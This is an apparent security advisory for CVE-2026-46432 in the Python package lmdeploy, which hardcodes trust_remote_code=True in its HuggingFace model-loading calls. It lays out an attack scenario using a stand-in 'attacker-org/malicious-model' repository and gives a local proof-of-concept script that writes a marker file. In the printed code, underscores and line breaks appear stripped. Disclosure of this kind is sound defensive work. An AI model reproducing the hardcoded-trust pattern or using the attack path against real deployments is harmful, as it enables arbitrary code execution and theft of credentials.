PT-2026-42662 · Pypi · Lmdeploy

Published

2026-05-21

·

Updated

2026-05-21

·

CVE-2026-46432

CVSS v3.1

7.8

High

VectorAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

lmdeploy hardcodes trust remote code=True in multiple HuggingFace model-loading call sites.
The affected code paths are in:
lmdeploy/archs.py
lmdeploy/utils.py
The vulnerable call sites pass trust remote code=True into HuggingFace Transformers APIs such as AutoConfig.from pretrained(), PretrainedConfig.get config dict(), and GenerationConfig.from pretrained().
Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.
Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:
lmdeploy <= 0.12.3
The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:
lmdeploy/archs.py:154
AutoConfig.from pretrained(..., trust remote code=True)

lmdeploy/archs.py:157
PretrainedConfig.get config dict(..., trust remote code=True)

lmdeploy/utils.py:225
GenerationConfig.from pretrained(..., trust remote code=True)
The vulnerable pattern is:
AutoConfig.from pretrained(model path, trust remote code=True)
and:
GenerationConfig.from pretrained(path, trust remote code=True)
The risk is that trust remote code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

  1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
  2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:
attacker-org/malicious-model
  1. The lmdeploy serving process starts with that model path:
lmdeploy serve api server attacker-org/malicious-model
  1. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust remote code=True.
  2. Transformers loads and executes remote Python code from the attacker-controlled model repository.
  3. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust remote code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.
In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.
lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust remote code=True and shows that remote model code would execute during initialization.
#!/usr/bin/env python3
from  future  import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY TRUST REMOTE CODE RCE PROOF")
MALICIOUS MODEL = "attacker-org/malicious-model"


def simulate lmdeploy model load(model path: str) -> None:
  """
  Simulates lmdeploy model initialization where trust remote code=True is hardcoded.

  Real vulnerable pattern:
    AutoConfig.from pretrained(model path, trust remote code=True)
    GenerationConfig.from pretrained(path, trust remote code=True)

  When trust remote code=True, a malicious HuggingFace model repository can
  execute custom Python code during loading.
  """

  fake model dir = Path(tempfile.mkdtemp(prefix="fake lmdeploy model "))
  module name = model path.split("/")[-1].replace("-", " ")
  modeling file = fake model dir / f"modeling {module name}.py"

  payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write text(
  "lmdeploy trust remote code execution confirmed
"
  f"model path={model path!r}
"
  f"pid={{os.getpid()}} euid={{os.geteuid()}}
"
)
'''
  modeling file.write text(payload)

  spec = importlib.util.spec from file location(f"modeling {module name}", modeling file)
  assert spec is not None and spec.loader is not None

  mod = importlib.util.module from spec(spec)
  spec.loader.exec module(mod)


def main() -> int:
  parser = argparse.ArgumentParser()
  parser.add argument("--model-id", default=MALICIOUS MODEL)
  args = parser.parse args()

  if MARKER.exists():
    MARKER.unlink()

  print(f"[*] Simulating lmdeploy loading model: {args.model id}")
  print("[*] trust remote code=True is hardcoded in lmdeploy model-loading paths")

  simulate lmdeploy model load(args.model id)

  if MARKER.exists():
    print("[+] Code execution confirmed")
    print(MARKER.read text())
    return 0

  print("[-] Marker file was not created", file=sys.stderr)
  return 1


if  name  == " main ":
  raise SystemExit(main())
Expected result:
[+] Code execution confirmed
The marker file is written to:
/tmp/LMDEPLOY TRUST REMOTE CODE RCE PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.
The attacker may be able to:
  • Read files accessible to the lmdeploy process.
  • Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
  • Modify model-serving behavior or tamper with responses.
  • Execute arbitrary operating-system commands.
  • Access request data or internal service credentials available to the serving process.
  • Cause denial of service by crashing or destabilizing the serving daemon.
  • Pivot to internal services reachable from the lmdeploy host or container.

Fix

Code Injection

Weakness Enumeration

Related Identifiers

CVE-2026-46432
GHSA-M549-QQ94-FVHG

Affected Products

Lmdeploy